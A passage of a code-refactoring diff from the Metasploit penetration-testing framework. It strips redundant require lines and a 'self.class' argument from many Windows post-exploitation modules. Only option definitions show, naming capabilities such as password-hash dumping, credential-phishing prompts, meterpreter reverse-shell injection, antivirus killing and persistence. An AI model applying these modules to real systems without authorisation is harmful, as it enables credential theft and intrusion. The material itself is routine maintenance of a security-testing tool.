Msf::Post OptInt.new('BLOCKSIZE',[false,'Block size, in bytes (multiples of 512)',1048576]), OptInt.new('SKIP',[false,'Skip this many blocks before beginning',0]), OptInt.new('COUNT',[false,'Image only this many blocks (0 - read till end)',0]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index fe5704295f..36ff2269cc 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Post OptString.new('DEVICE',[true,'Device to map (use enum_drives for possible names)',nil]), OptString.new('NBDIP',[false,'IP address for NBD server','0.0.0.0']), OptInt.new('NBDPORT',[false,'TCP port for NBD server',10005]), - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index bae7105eee..eaacd31648 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Post OptString.new('FILES',[false,'ID or extensions of the files to recover in a comma separated way. Let empty to enumerate deleted files.',""]), OptString.new('DRIVE',[true,'Drive you want to recover files from.',"C:"]), OptInt.new('TIMEOUT', [true,'Search timeout. If 0 the module will go through the entire $MFT.', 3600]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index bce0991735..35544d27f3 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 030a5c8874..d3fa98d7ee 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -4,9 +4,6 @@ ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -40,7 +37,7 @@ class MetasploitModule < Msf::Post OptBool.new('ENUM_GROUPS', [ false, 'Enumerates groups for identified users.', true]), OptString.new('DOMAIN', [false, 'Domain to enumerate user\'s groups for']), OptString.new('DOMAIN_CONTROLLER', [false, 'Domain Controller to query groups']) - ], self.class) + ]) end def setup diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index 39dc98cfe7..1c88fda8b4 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/priv' require 'msf/core/post/common' require 'msf/core/post/windows/registry' diff --git a/modules/post/windows/gather/make_csv_orgchart.rb b/modules/post/windows/gather/make_csv_orgchart.rb index f84d9204cb..ce87129fef 100644 --- a/modules/post/windows/gather/make_csv_orgchart.rb +++ b/modules/post/windows/gather/make_csv_orgchart.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -31,7 +28,7 @@ class MetasploitModule < Msf::Post OptBool.new('ACTIVE_USERS_ONLY', [true, 'Only include active users (i.e. not disabled ones)', true]), OptBool.new('STORE_LOOT', [true, 'Store the organizational chart information in CSV format in loot', true]), OptString.new('FILTER', [false, 'Additional LDAP filter to use when searching for users', '']) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/memory_grep.rb b/modules/post/windows/gather/memory_grep.rb index 6ef9eca087..c9dfae210c 100644 --- a/modules/post/windows/gather/memory_grep.rb +++ b/modules/post/windows/gather/memory_grep.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Post OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]), OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', nil]), OptBool.new('HEAP', [false, 'Grep from heap', false]) - ], self.class) + ]) end def get_data_from_stack(target_pid) diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb index a7f329325d..be00245967 100644 --- a/modules/post/windows/gather/netlm_downgrade.rb +++ b/modules/post/windows/gather/netlm_downgrade.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry @@ -36,7 +33,7 @@ class MetasploitModule < Msf::Post register_options( [ OptAddress.new('SMBHOST', [ true, 'IP Address where SMB host is listening to capture hashes.' ]) - ], self.class) + ]) end # method to make smb connection diff --git a/modules/post/windows/gather/outlook.rb b/modules/post/windows/gather/outlook.rb index 2d2c291536..9075cf9d65 100644 --- a/modules/post/windows/gather/outlook.rb +++ b/modules/post/windows/gather/outlook.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Powershell @@ -41,12 +39,12 @@ class MetasploitModule < Msf::Post OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]), OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]), OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]) - ], self.class) + ]) register_advanced_options( [ OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120]) - ], self.class) + ]) end def execute_outlook_script(command) diff --git a/modules/post/windows/gather/phish_windows_credentials.rb b/modules/post/windows/gather/phish_windows_credentials.rb index d335c6fe63..d87a82d91e 100644 --- a/modules/post/windows/gather/phish_windows_credentials.rb +++ b/modules/post/windows/gather/phish_windows_credentials.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Powershell @@ -33,12 +31,12 @@ class MetasploitModule < Msf::Post [ OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]), OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', "{PROCESS_NAME} needs your permissions to start. Please enter user credentials"]), - ], self.class) + ]) register_advanced_options( [ OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120]) - ], self.class) + ]) end # Function to run the InvokePrompt powershell script diff --git a/modules/post/windows/gather/resolve_sid.rb b/modules/post/windows/gather/resolve_sid.rb index 6cb5ed8b10..940aaaad29 100644 --- a/modules/post/windows/gather/resolve_sid.rb +++ b/modules/post/windows/gather/resolve_sid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Accounts @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Post [ OptString.new('SID', [ true, 'SID to lookup' ]), OptString.new('SYSTEM_NAME', [ false, 'Where to search. If undefined, first local then trusted DCs' ]), - ], self.class) + ]) end diff --git a/modules/post/windows/gather/reverse_lookup.rb b/modules/post/windows/gather/reverse_lookup.rb index 4b42bb765c..b708590d17 100644 --- a/modules/post/windows/gather/reverse_lookup.rb +++ b/modules/post/windows/gather/reverse_lookup.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -24,7 +21,7 @@ class MetasploitModule < Msf::Post [ OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.']) - ], self.class) + ]) end diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 851faf3570..93814bd3f2 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rbconfig' class MetasploitModule < Msf::Post @@ -38,7 +37,7 @@ class MetasploitModule < Msf::Post OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]), OptBool.new('VIEW_SCREENSHOTS', [false, 'View screenshots automatically', false]), OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them', true]) - ], self.class) + ]) end def view_screenshots? diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index e0b52f5c00..0a962e0402 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Post [ OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM privilege on the target host.', false]) - ], self.class) + ]) @smb_port = 445 # Constants for SAM decryption @sam_lmpass = "LMPASSWORD\x00" diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb index 61d9bf710a..8f7bbc6c9b 100644 --- a/modules/post/windows/gather/tcpnetstat.rb +++ b/modules/post/windows/gather/tcpnetstat.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Post )) register_options( [ - ], self.class) + ]) end def parse_tcptable(buffer) diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb index d1262c1645..69634845de 100644 --- a/modules/post/windows/gather/usb_history.rb +++ b/modules/post/windows/gather/usb_history.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb index 669412245a..80d5295081 100644 --- a/modules/post/windows/gather/win_privs.rb +++ b/modules/post/windows/gather/win_privs.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb index 773931b0b4..4d5ccdad03 100644 --- a/modules/post/windows/gather/wmic_command.rb +++ b/modules/post/windows/gather/wmic_command.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::WMIC @@ -26,7 +23,7 @@ class MetasploitModule < Msf::Post [ OptPath.new('RESOURCE', [false, 'Full path to resource file to read commands from.']), OptString.new('COMMAND', [false, 'WMIC command options.']), - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index b0bc6f0bc3..88d39f479e 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -14,7 +14,6 @@ require 'zip' # Project # -require 'msf/core' # for creating files require 'rex/zip' @@ -50,7 +49,7 @@ class MetasploitModule < Msf::Post OptAddress.new('SMBHOST',[true, 'Server IP or hostname that the .docx document points to']), OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']), OptBool.new('BACKUP', [true, 'Make local backup of remote file.', true]), - ], self.class) + ]) end #Store MACE values so we can set them later again. diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index 9b83b10a67..8b8d76c500 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -35,7 +32,7 @@ class MetasploitModule < Msf::Post OptBool.new('ADDTODOMAIN', [true, 'Add user to the Domain', true]), OptString.new('TOKEN', [false, 'Username or PID of the Token which will be used. If blank, Domain Admin Tokens will be enumerated. (Username doesnt require a Domain)', '']), OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', true]) - ], self.class) + ]) end def get_system diff --git a/modules/post/windows/manage/archmigrate.rb b/modules/post/windows/manage/archmigrate.rb index 5bad907736..c60a82a789 100644 --- a/modules/post/windows/manage/archmigrate.rb +++ b/modules/post/windows/manage/archmigrate.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File diff --git a/modules/post/windows/manage/autoroute.rb b/modules/post/windows/manage/autoroute.rb index ff11e896ff..e281b891fe 100644 --- a/modules/post/windows/manage/autoroute.rb +++ b/modules/post/windows/manage/autoroute.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post @@ -36,7 +33,7 @@ class MetasploitModule < Msf::Post OptString.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]), OptString.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']), OptEnum.new('CMD', [true, 'Specify the autoroute command', 'autoadd', ['add','autoadd','print','delete','default']]) - ], self.class) + ]) end # Backwards compatability: This was changed because the option name of "ACTION" diff --git a/modules/post/windows/manage/change_password.rb b/modules/post/windows/manage/change_password.rb index 32d3a7bea2..6bbe3d98a8 100644 --- a/modules/post/windows/manage/change_password.rb +++ b/modules/post/windows/manage/change_password.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Post OptString.new('SMBUser', [true, 'Username to change password of']), OptString.new('OLD_PASSWORD', [true, 'Original password' ]), OptString.new('NEW_PASSWORD', [true, 'New password' ]), - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/clone_proxy_settings.rb b/modules/post/windows/manage/clone_proxy_settings.rb index 400396dd72..82cdd81f5a 100644 --- a/modules/post/windows/manage/clone_proxy_settings.rb +++ b/modules/post/windows/manage/clone_proxy_settings.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -28,7 +27,7 @@ class MetasploitModule < Msf::Post [ OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]), OptString.new('SID', [ false, 'SID of user to clone settings to, defaults to SYSTEM', 'S-1-5-18' ]) - ], self.class) + ]) end def parse_settings(data) diff --git a/modules/post/windows/manage/delete_user.rb b/modules/post/windows/manage/delete_user.rb index e0728d84d7..a381f0fc8c 100644 --- a/modules/post/windows/manage/delete_user.rb +++ b/modules/post/windows/manage/delete_user.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Accounts @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Post [ OptString.new('USERNAME', [ true, 'The username of the user to delete (not-qualified, e.g. BOB)' ]), OptString.new('SERVER_NAME', [ false, ' DNS or NetBIOS name of remote server on which to delete user' ]), - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb index 5a0dc0d74e..df15c62fdf 100644 --- a/modules/post/windows/manage/download_exec.rb +++ b/modules/post/windows/manage/download_exec.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -30,14 +27,14 @@ class MetasploitModule < Msf::Post OptString.new('FILENAME', [false, 'Name for downloaded file' ]), OptBool.new( 'OUTPUT', [true, 'Show execution output', true ]), OptBool.new( 'EXECUTE', [true, 'Execute file after completion', false ]), - ], self.class) + ]) register_advanced_options( [ OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]), OptInt.new( 'EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]), OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]), - ], self.class) + ]) end diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb index 4e4683ffe3..951a90a073 100644 --- a/modules/post/windows/manage/driver_loader.rb +++ b/modules/post/windows/manage/driver_loader.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Post OptEnum.new('START_TYPE', [true, 'Start type.', 'auto', [ 'boot', 'system', 'auto', 'demand','disabled']]), OptEnum.new('SERVICE_TYPE', [true, 'Service type.', 'kernel', [ 'kernel', 'file_system', 'adapter', 'recognizer']]), OptEnum.new('ERROR_TYPE', [true, 'Error type.', 'ignore', [ 'ignore', 'normal', 'severe', 'critical']]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index 55a67d5b42..fa591da473 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Accounts @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Post OptBool.new( 'ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]), OptBool.new( 'FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]), OptInt.new( 'LPORT', [ false, 'Local port to forward remote connection.', 3389]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/enable_support_account.rb b/modules/post/windows/manage/enable_support_account.rb index 6f90cc8129..80030b0763 100644 --- a/modules/post/windows/manage/enable_support_account.rb +++ b/modules/post/windows/manage/enable_support_account.rb @@ -1,6 +1,3 @@ -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry @@ -28,7 +25,7 @@ class MetasploitModule < Msf::Post [ OptString.new('PASSWORD', [true, 'Password of the support user account', 'password']), OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb index 7894086acc..e0f7671d29 100644 --- a/modules/post/windows/manage/exec_powershell.rb +++ b/modules/post/windows/manage/exec_powershell.rb @@ -4,8 +4,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/windows/powershell' class MetasploitModule < Msf::Post @@ -31,12 +29,12 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new( 'SCRIPT', [true, 'Path to the local PS script or command string to execute']), - ], self.class) + ]) register_advanced_options( [ OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub']), - ], self.class) + ]) end diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index e5cba36cef..9083f737cd 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'tmpdir' class MetasploitModule < Msf::Post @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil]) - ], self.class) + ]) end def setup diff --git a/modules/post/windows/manage/hashcarve.rb b/modules/post/windows/manage/hashcarve.rb index 7f67b715a1..a9a1fca022 100644 --- a/modules/post/windows/manage/hashcarve.rb +++ b/modules/post/windows/manage/hashcarve.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Post [ OptString.new('user', [true, 'Username to change password of', nil]), OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil]) - ], self.class) + ]) # Constants for SAM decryption @sam_lmpass = "LMPASSWORD\x00" @sam_ntpass = "NTPASSWORD\x00" diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb index 85d631821e..5481f51d99 100644 --- a/modules/post/windows/manage/ie_proxypac.rb +++ b/modules/post/windows/manage/ie_proxypac.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -37,7 +34,7 @@ class MetasploitModule < Msf::Post OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]), OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]), OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/inject_ca.rb b/modules/post/windows/manage/inject_ca.rb index 26261c7c52..3336aa526f 100644 --- a/modules/post/windows/manage/inject_ca.rb +++ b/modules/post/windows/manage/inject_ca.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('CAFILE', [ true, 'Path to the certificate you wish to install as a Trusted Root CA.', '']) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/inject_host.rb b/modules/post/windows/manage/inject_host.rb index d5333cf80f..f55c172abd 100644 --- a/modules/post/windows/manage/inject_host.rb +++ b/modules/post/windows/manage/inject_host.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Post [ OptString.new('DOMAIN', [ true, 'Domain name for host file manipulation.' ]), OptString.new('IP', [ true, 'IP address to point domain name to.' ]) - ], self.class) + ]) end diff --git a/modules/post/windows/manage/killav.rb b/modules/post/windows/manage/killav.rb index 826bbc8f07..f80d85a19e 100644 --- a/modules/post/windows/manage/killav.rb +++ b/modules/post/windows/manage/killav.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'set' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 27789acdb8..e769c4f4be 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -26,7 +23,7 @@ class MetasploitModule < Msf::Post OptInt.new( 'PID', [false, 'PID of process to migrate to.']), OptString.new( 'NAME', [false, 'Name of process to migrate to.']), OptBool.new( 'KILL', [false, 'Kill original process for the session.', false]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index 695eba3ede..345b3bbe9d 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/windows/mssql' class MetasploitModule < Msf::Post @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Post OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']), OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]), OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', false]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index bc372fc2ae..1ee7462576 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post @@ -34,12 +31,12 @@ class MetasploitModule < Msf::Post OptString.new('PIDLIST', [false, 'List of semicolon separated PID list.', '']), OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]), OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) - ], self.class) + ]) register_advanced_options( [ OptString.new('PROCESSNAME', [false, 'Description', 'notepad.exe']) - ],self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb index 2395a2faa7..22b27b1b3d 100644 --- a/modules/post/windows/manage/nbd_server.rb +++ b/modules/post/windows/manage/nbd_server.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Post OptString.new('DEVICE',[true,'Device to map (use enum_drives for possible names)',nil]), OptString.new('NBDIP',[false,'IP address for NBD server','0.0.0.0']), OptInt.new('NBDPORT',[false,'TCP port for NBD server',10005]), - ], self.class) + ]) end diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 284af0b3db..5d5de9d039 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/common' class MetasploitModule < Msf::Post @@ -30,13 +28,13 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('PAYLOAD', [false, 'Windows Payload to inject into memory of a process.', "windows/meterpreter/reverse_tcp"]), - OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']), + OptAddressLocal.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']), OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]), OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']), OptBool.new('HANDLER', [ false, 'Start an exploit/multi/handler to receive the connection', false]), OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."]), OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 442d92df8c..2ca72c94a9 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' -require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 4cc6ccd02f..66dfbe37e0 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Post OptPort.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']), OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]), OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/manage/powershell/build_net_code.rb b/modules/post/windows/manage/powershell/build_net_code.rb index 0132414105..dba04723eb 100644 --- a/modules/post/windows/manage/powershell/build_net_code.rb +++ b/modules/post/windows/manage/powershell/build_net_code.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/powershell' require 'msf/core/exploit/powershell/dot_net' diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index ae8b15ef74..2fe031f986 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -14,9 +14,6 @@ require 'zlib' # TODO: check if this can be done with REX -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Powershell @@ -40,7 +37,7 @@ class MetasploitModule < Msf::Post register_options( [ OptPath.new( 'SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), - ], self.class) + ]) register_advanced_options( [ @@ -48,7 +45,7 @@ class MetasploitModule < Msf::Post OptBool.new( 'DELETE', [false, 'Delete file after execution', false ]), OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]), OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]), - ], self.class) + ]) end diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index edad0d8571..07b03c80f6 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ 